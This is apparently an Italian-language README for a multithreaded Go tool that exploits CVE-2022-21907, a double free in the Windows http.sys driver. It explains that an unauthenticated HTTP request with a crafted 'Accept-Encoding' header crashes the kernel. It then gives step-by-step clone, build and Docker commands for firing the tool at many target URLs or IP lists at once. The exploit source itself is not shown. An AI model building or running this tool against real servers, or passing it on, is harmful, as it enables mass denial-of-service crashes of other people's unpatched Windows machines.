
Applicazione Golang multithread
CVE-2022-21907 - Double Free nel driver http.sys.
Questa è un'applicazione Golang multithreading che consente di effettuare richieste su più target contemporaneamente.
Non è molto produttiva con le richieste POST, ma fornisce quasi il 30% di velocità in più rispetto a un metodo lineare.
Un attaccante non autenticato può inviare una richiesta HTTP con un header "Accept-Encoding" che innesca un double free nella coding-list sconosciuta all'interno dello stack del protocollo HTTP (http.sys) per elaborare i pacchetti, provocando un crash del kernel.
Golang:
Golang:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. go build cve-2022-21907.go -o /cve-2022-21907
4. chmod +x cve-2022-21907
5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
Build Docker Locale:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. nano input.txt [input here your target's IPs in the list]
4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> .
[In Docker there is a default file named as "input.txt", but you may specify your own one]
5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Repository Docker
docker pull masterrooot/cve-2022-21907:latest
docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Windows Server 2019 e Windows 10 versione 1809:
Sei libero di contattarmi tramite Keybase per qualsiasi dettaglio.